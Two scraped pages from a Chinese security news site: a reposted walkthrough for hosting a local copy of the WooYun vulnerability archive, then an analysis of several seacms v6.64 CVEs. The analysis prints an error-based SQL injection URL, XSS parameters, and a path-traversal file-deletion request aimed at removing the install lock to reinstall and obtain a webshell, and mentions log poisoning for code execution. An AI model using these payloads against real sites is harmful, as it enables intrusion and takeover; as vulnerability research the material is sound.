下载地址:phpStudy 2016.11.03 再次更新,支持自定义php版本

2,然后,我解压到我的 D 盘上了。

http://p7.qhimg.com/t0178494c5d4a9726b0.png

3,把源码和数据库先下载开,图片用的是外连,人家也说了,放图片的服务器不会关掉的。

http://p3.qhimg.com/t01b40bd65421c4f711.png

4,把 bugs.rar 这个源码包解压到了 D:phpStudyWWWbugs 这里。

http://p5.qhimg.com/t01f89cfa2303817196.png

5,在源码里找见 conn.php 这个文件,用记事本打开,或者想我一样下载了 notepad++ ,打开就是了,在里面修改成自己 MySQL 数据库的账号密码 。

http://p2.qhimg.com/t01492087833fbfb0ee.png

6,然后把 wooyun.rar 拖进 D:phpStudyMySQLdata 这里解压下,这里是数据库存放的地方。

http://p0.qhimg.com/t01e96e25af67ef7355.png

7,启动 phpstudy ,然后点击面板上的选择版本,看下是不是 5.3 版本的,如果不是就选择到这个 5.3 版本 。(昨天就这个版本问题,害的我一连不上数据库。。。)

http://p3.qhimg.com/t01facc3277bb92c590.png

8,点击 mysql 管理器,站点域名管理,然后该杂弄杂弄。。。

http://p4.qhimg.com/t015024b479160f1f18.png

9,一般到这里就结束了,直接启动服务器,然后然后输入 127.0.0.1 就能进入了主页面了。

http://p7.qhimg.com/t01fc73bb9973498e40.png

10,恩,先修改一个小错误,再继续说说其他的。他的源码不知道杂回事,进入具体的页面时就会在上面出现报错的提示。。。

http://p3.qhimg.com/t016331543f74ed3ae7.png

10.1,看着挺不好看的,那我就关闭这个提醒吧,

http://p2.qhimg.com/t01bac6d23dc24f02a6.png

额,那个其中有些步骤,需要多点击重启这个按钮的,就是把操作更新到设置中。。。反正最后多重启几下就好了。

1,其他,如果修改域名的话,建议用管理员权限打开 phpstudy 这个工具 。

http://p4.qhimg.com/t019360a86374c9ed1a.png

2,继续来到域名管理的那个页面。

http://p8.qhimg.com/t01a7c41d9669d47c7e.png

3,然后打开 hosts 这个文本。

http://p7.qhimg.com/t01b546c3b9a6d52405.png

4,添加自己的域名解析地址。

http://p6.qhimg.com/t01627134e91adc03e9.png

5,来看一下效果 。

http://p9.qhimg.com/t01b7597090b7f9504b.png

1,下载了一下午的图片,终于下载到我电脑上了。那么开始吧。

2,在 wuyun 源码里新建一个 upload 文件夹。

http://p9.qhimg.com/t0112610f485b9f7258.png

3,把这一堆的图片全部解压到 upload 这个文件夹里。

http://p0.qhimg.com/t0111bb3c4c18b4e3e8.png

http://p2.qhimg.com/t017f75989d5482d761.png

快一个小时了。。。。 关解压都能解压半个多小时,我也是醉醉的。。。

4,继续用右键管理员权限运行 phpStudy.exe 。

5,继续 点击 MySQL 管理器,点击 站点域名管理 ,新增一个 static.loner.fm 域名,然后路径继续绑定到 wuyun 这个源码路径里,和一开始那个操作差不多,新增,保存。

http://p4.qhimg.com/t01529e96a361b13af3.png

6,继续点击 其他选项菜单,继续打开 hosts 这个文本 ,然后输入在原来的下一行输入以下地址,并保存

localhost static.loner.fm
http://p2.qhimg.com/t017109b7e7e594ee43.png

7,最后,启动下环境,输入地址,看下效果,是不是成功本地了。

http://p8.qhimg.com/t019d6b72d224cff64a.png

后记

全文一步一步的写,我对我自己也是醉醉的。。。不过以后可以本地默默的看 8.8 w 的漏洞库的,嘎嘎。(*^__^*) 嘻嘻…

本文转载自: zhihu.com
如若转载,请注明出处: https://zhuanlan.zhihu.com/p/26759783
安全客 – 有思想的安全新媒体
安全知识

安全客 官方小编 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
男科圣手
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
安全客
有思想的安全新媒体
文章
1134
粉丝
52
TA的文章
关于境内大量家用路由器DNS被篡改情况通报
2019-02-21 13:35:02
GitHub上发布后即登顶的老司机渗透教程,你的小本本备好了吗?
2019-02-20 19:35:06
256万人脸识别数据遭泄露,“脸”还安全吗?
2019-02-15 19:22:33
日政府授权入侵公民物联网设备
2019-02-01 13:49:08
360网络安全周报第195期
2019-01-25 18:18:17
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

6.64

6.64
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
seacms v6.64 最新漏洞分析
阅读量 90195 | 评论 5 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-09-29 16:30:25

最近seacms 更新了版本,直接从6.61更新到了6.64, 小版本之间的时间间隔比较短,但是在新版本发布没有多久,已经有不少最新版本的漏洞被挖掘出,今天我们就来总结分析一下这些漏洞。

CVE-2018-16445
后台sql注入漏洞,这个漏洞在提交cve的报告中,只列出了sqlmap的扫描结果,并没有写明漏洞产生的原因,作者在第一次溯源的时候也是因为疏忽,竟然没有找到漏洞点。

坑点:
相信很多童鞋在做审计的时候,phpstorm的全局搜索也是和作者一样设置的吧,默认搜索的范围是php文件,一些没有用的文件是不去搜索的,因为这样确实是可以加快搜索的速度和进度,不用去看很多js和css等样式文件,以及html等模板文件,但是这个漏洞呢,问题就出在了htm模板文件之中,常规做审计的过程中,还真的是容易忽略!

在利用cve报告中提供的payload进行注入的时候,默认会进行跳转,这样对于漏洞追踪也产生了一点困难。
基础知识
要理解这个漏洞,首先要知道一个基础的问题,就是关于php的include机制,我们来做个实验:

首先建立一个php文件,内容如下:

然后建立一个htm文件,文件内容如下:

然后我们运行php文件,结果如下:

结果中我们可以看到,htm文件中的符合php语法的部分被正确解析执行了,当然这算是一个常识,例如我们有一个情景,有一个任意文件包含漏洞,我们怎么才能getshell呢,就可以利用这个知识点,我们首先污染apache或者nginx的日志文件,然后将其包含进来,这个时候其中符合php语法的部分,就会被解析执行,从而我们就能获取webshell,这在渗透中是非常常见的思路,在ctf中也是遇到过很多次了。
漏洞分析
经过溯源,漏洞产生的位置是:/admin/templets/admin_video_main.htm的42行附近。

先看一下seacms的全局过滤以及伪全局机制:

这种防御方法有一个弱点,就是如果sql变量没有引号包围,那就相当于没有过滤,是十分危险的。

下面我们来看一下整个的漏洞逻辑部分:

乍一看,整个的处理替换逻辑十分复杂,很难通过肉眼直接看出来,这里可以用一个小技巧,我们既然知道了是sql注入漏洞,那我们可以着重看进入sql查询的过程,我们这里在其中加几个var_dump,就能很明显的看出来了:

经过简化,我们的代码可以抽象成:

然后我们就可以开始测试:

可以清楚的看到,报错注入是可以直接回显结果的,这里我们测试发现cve提交的payload有点小问题,是不用加repeat和allrepeat这两个参数的。

/admin_video.php?order=v_name and (extractvalue(1,concat(0x7e,(select user()),0x7e))) — 1
提取数据的过程就不累述了,有回显的注入比较好办。

CVE-2018-17062
这是一串xss漏洞的cve集合,产生问题的文件是admin_video.php

作者给出的利用链接有:

admin_video.php?action=keoiw”>c7dkw

其余可以利用的参数有:

area
type
yuyan
jqtype
v_isunion
v_recycled
v_ismoney
具体的利用可以参考具体链接。

我们去看一下这个代码层:

首先这里我们传入的action是不满足任何一个if条件的,所以就进入最后一个else语句,然后我们跟进模板htm文件,查看一下变量的输出是否经过过滤。

可以明显的发现,传入的变量没有经过任何的过滤,就直接输出,上面的参数基本都是这样的模式,所以这个漏洞发现的难度不是很大,但是需要及时跟进业务逻辑的更新操作。

CVE-2018-17321
同样是新业务点的xss漏洞,利用payload如下:

/admin_datarelate.php?action=dorandomset&maxHit=1000&time=1000&submit=1

/admin_datarelate.php?action=dorandomset&maxHit=1000&time=1000&submit=1

原理和上面的cve类似,这里就不重复讲解。

CVE-2018-17365
一枚任意文件删除漏洞,产生问题的文件是/admin/admin_template.php的114行附近。

有关的代码逻辑为:

可以看到,接受到参数以后,对其进行了简单的过滤,我们只要绕过就可以进行任意文件的删除:

$dirTemplate=”../templets”;
substr(strtolower($filedir),0,11)!=$dirTemplate
过滤简单的截取了传入变量的前11个字符,然后与模板文件的开头对比,但是这里忽略了操作系统中的../上跳操作,即bypass payload为:

../templets/../install/install_lock.txt
这样我们就可以删除安装产生的install锁文件,从而重新安装seacms,拿到webshell。

实际演示一下删除index.php.bak:

删除之前:

执行删除操作:admin_template.php?action=del&filedir=../templets/../install/index.php.bak

删除完:

可以发现,确实成功删除了文件,这个过滤其实是十分不安全的,所以很容易就可以bypass。

总结
对于cms的cve挖掘,需要及时的跟进业务逻辑的更新,很可能新增加的业务就会有漏洞的产生。

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/160904
安全客 – 有思想的安全新媒体
CVE Web安全 代码审计

执念于心 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
土司观光团
换一个
|评论列表
RUBY · 2018-10-11 10:20:07 1 回复
你的文章和CVE-2018-16445原漏洞怎么不一样啊

RUBY · 2018-10-11 09:39:14 1 回复
漏洞还有payload吗?你是在哪个漏洞平台找的

一叶飘零 · 2018-10-03 10:51:20 1 回复
对海洋情有独钟,不愧头像是鲸鱼!

教主 · 2018-09-30 11:20:09 回复
不错,这配图风格我很喜欢

土司观光团 · 2018-09-29 16:43:48 回复
配图越来越骚了。。

执念于心
团队毒瘤
文章
13
粉丝
26
TA的文章
swpu ctf 有趣的邮箱注册 详细题解
2018-12-20 09:00:46
Bctf Blockchain 两则详解——带你玩转区块链
2018-11-30 16:13:56
Hitcon2018 BabyCake题目分析
2018-10-22 15:37:39
seacms v6.64 最新漏洞分析
2018-09-29 16:30:25
codeblue2018 MortAl mage aGEnts题目分析
2018-09-03 11:30:34
输入关键字搜索内容
相关文章
ETW注册表监控windows内核实现原理
从两道CTF实例看python格式化字符串漏洞
Typora XSS 到 RCE(下)
【缺陷周话】第22期:错误的内存释放对象
Typora XSS 到 RCE (上)
HackIM 2019 Web记录
XXE Bypass WAF
热门推荐
文章目录
CVE-2018-16445
坑点:
基础知识
漏洞分析
CVE-2018-17062
CVE-2018-17321
CVE-2018-17365
总结
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank